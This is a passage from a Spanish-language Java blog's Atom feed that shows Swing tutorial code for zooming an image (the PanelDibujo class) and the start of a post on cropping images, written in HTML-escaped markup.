&amp;nbsp; &amp;nbsp;panelPrincipal.add(pd);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;sw=true;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp; } catch (IOException e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;sw=false;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; }&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;});&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;JMenuItem aumentar=new JMenuItem("Zoom In (+)");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;aumentar.addActionListener(new ActionListener() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; @Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; public void actionPerformed(ActionEvent arg0) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp; if(sw){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; pd.ZoomIn(15);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp; }&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; }&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;});&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;JMenuItem disminuir=new JMenuItem("Zoom Out (-)");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;disminuir.addActionListener(new ActionListener() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; @Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; public void actionPerformed(ActionEvent arg0) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp; if(sw){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; pd.ZoomOut(15);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp; }&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; }&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;});&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;barra.add(abrir);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;barra.add(aumentar);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;barra.add(disminuir);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;add(barra,BorderLayout.NORTH);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;add(panelPrincipal);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public void colocarSkin(){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;try {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; UIManager.setLookAndFeel("com.sun.java.swing.plaf.nimbus.NimbusLookAndFeel");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; } catch (ClassNotFoundException e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; } catch (InstantiationException e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; } catch (IllegalAccessException e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; } catch (UnsupportedLookAndFeelException e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; }&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; }&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public static void main(String arg[]){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;Principal p=new Principal();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setVisible(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setBounds(0, 0, 500, 400);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setLocationRelativeTo(null);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setDefaultCloseOperation(EXIT_ON_CLOSE);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Clase PanelDibujo&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.Graphics;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.Graphics2D;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.Image;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.RenderingHints;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.image.BufferedImage;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.JPanel;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;@SuppressWarnings("serial")&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;public class PanelDibujo extends JPanel {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; Image img;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; Image imgtemp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; BufferedImage imgmemoria;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; Graphics2D g2D;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; int escalaX=0;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; int escalaY=0;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public PanelDibujo(BufferedImage f){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; this.img = f;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; this.imgtemp = f;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; this.setSize(f.getWidth(),f.getHeight());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; this.setVisible(true);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; @Override&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; protected void paintComponent(Graphics g) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; Graphics2D g2 = (Graphics2D)g;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; if(img!=null){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; imgmemoria = new BufferedImage(this.getWidth(), this.getHeight(), BufferedImage.TYPE_INT_RGB);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; g2D = imgmemoria.createGraphics();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; g2D.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; g2D.drawImage(imgtemp,0, 0, imgtemp.getWidth(this), imgtemp.getHeight(this), this);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; g2.drawImage(imgmemoria, 0, 0, this);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public void ZoomIn(int zoom){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; escalaX = &amp;nbsp;(int) (imgtemp.getWidth(this) * (zoom/100f) );&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; escalaY = &amp;nbsp;(int) (imgtemp.getHeight(this) * (zoom/100f) );&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; this.imgtemp = imgtemp.getScaledInstance((int) (imgtemp.getWidth(this) + escalaX), (int) (imgtemp.getHeight(this) + escalaY), Image.SCALE_AREA_AVERAGING);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; this.setSize(imgtemp.getWidth(this),imgtemp.getHeight(this));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public void ZoomOut(int zoom){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; escalaX = &amp;nbsp;(int) (imgtemp.getWidth(this) * (zoom/100f) );&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; escalaY = &amp;nbsp;(int) (imgtemp.getHeight(this) * (zoom/100f) );&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; this.imgtemp = imgtemp.getScaledInstance((int) (imgtemp.getWidth(this) - escalaX), (int) (imgtemp.getHeight(this) - escalaY), Image.SCALE_AREA_AVERAGING);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; this.setSize(imgtemp.getWidth(this),imgtemp.getHeight(this));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;}&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Descargar&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;El proyecto completo lo pueden descargar directamente desde&amp;nbsp;&lt;a href="http://dl.dropbox.com/u/61822104/Proyectos%20Java%20Zone/RedimensionarImagen.rar"&gt;aquí&lt;/a&gt;. Se incluyen las&amp;nbsp;imágenes, los archivos fuentes y el Jar ejecutable.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-8828613606451147042?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/8828613606451147042/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2012/02/redimensionar-imagen.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/8828613606451147042'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/8828613606451147042'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2012/02/redimensionar-imagen.html' title='Redimensionar Imagen'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-dlbbkt9vj6Y/T0GW0GmgvRI/AAAAAAAAAkI/FoCOT5DDLgA/s72-c/RedimensionarImagen+1+-+JavaZone.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-1679900603713765858</id><published>2012-02-18T21:57:00.001-05:00</published><updated>2012-02-18T21:57:28.708-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JPanel'/><category scheme='http://www.blogger.com/atom/ns#' term='recortar imagen'/><title type='text'>Recortar una Imagen</title><content type='html'>&lt;b&gt;&lt;span style="font-size: large;"&gt;Recortar una Imagen&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Después&amp;nbsp;de mucho tiempo, estamos devuelta, con mucha mas&amp;nbsp;información, mas proyectos, mas cosas interesantes que mostrar.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;En esta&amp;nbsp;ocasión&amp;nbsp;mostraremos como podemos abrir una imagen y poder recortar una parte de ella y guardarla en otro archivo.&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Imágenes&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-At6NMXnhGeQ/T0BiKZ5uKgI/AAAAAAAAAjw/ka6vFNzhhTM/s1600/RecortarImagen+1+-+Java+Zone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="286" src="http://2.bp.blogspot.com/-At6NMXnhGeQ/T0BiKZ5uKgI/AAAAAAAAAjw/ka6vFNzhhTM/s400/RecortarImagen+1+-+Java+Zone.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-UfuOsHCjws4/T0Bie98gXUI/AAAAAAAAAj4/sOBGn9orySo/s1600/RecortarImagen+2+-+Java+Zone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="285" src="http://4.bp.blogspot.com/-UfuOsHCjws4/T0Bie98gXUI/AAAAAAAAAj4/sOBGn9orySo/s400/RecortarImagen+2+-+Java+Zone.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-I90GbBnj-0c/T0Bine-MOOI/AAAAAAAAAkA/5hJ6j2AKekE/s1600/RecortarImagen+3+-+Java+Zone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="285" src="http://2.bp.blogspot.com/-I90GbBnj-0c/T0Bine-MOOI/AAAAAAAAAkA/5hJ6j2AKekE/s400/RecortarImagen+3+-+Java+Zone.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Código&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Clase Principal&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.BorderLayout;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.event.ActionEvent;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.event.ActionListener;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.io.IOException;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.imageio.ImageIO;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.*;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.UnsupportedLookAndFeelException;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;public class Principal extends JFrame {&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JPanel panelPrincipal;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;PanelDibujo pd;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;String nombreArchivo="";&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public Principal(){&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;colocarSkin();&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;panelPrincipal=new JPanel();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;panelPrincipal.setLayout(new BorderLayout());&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;JMenuBar barra=new JMenuBar();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;JMenu archivo=new JMenu("Archivo");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;JMenuItem abrir=new JMenuItem("Abrir");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;abrir.addActionListener(new ActionListener() {&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void actionPerformed(ActionEvent arg0) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;JFileChooser selector=new JFileChooser();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;int resultado=selector.showOpenDialog(null);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(resultado==JFileChooser.APPROVE_OPTION){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;try {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;nombreArchivo=selector.getSelectedFile().getName();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;pd=new PanelDibujo(ImageIO.read(selector.getSelectedFile()));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;pd.repaint();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;repaint();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;panelPrincipal.add(pd);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;} catch (IOException e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;// TODO Auto-generated catch block&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     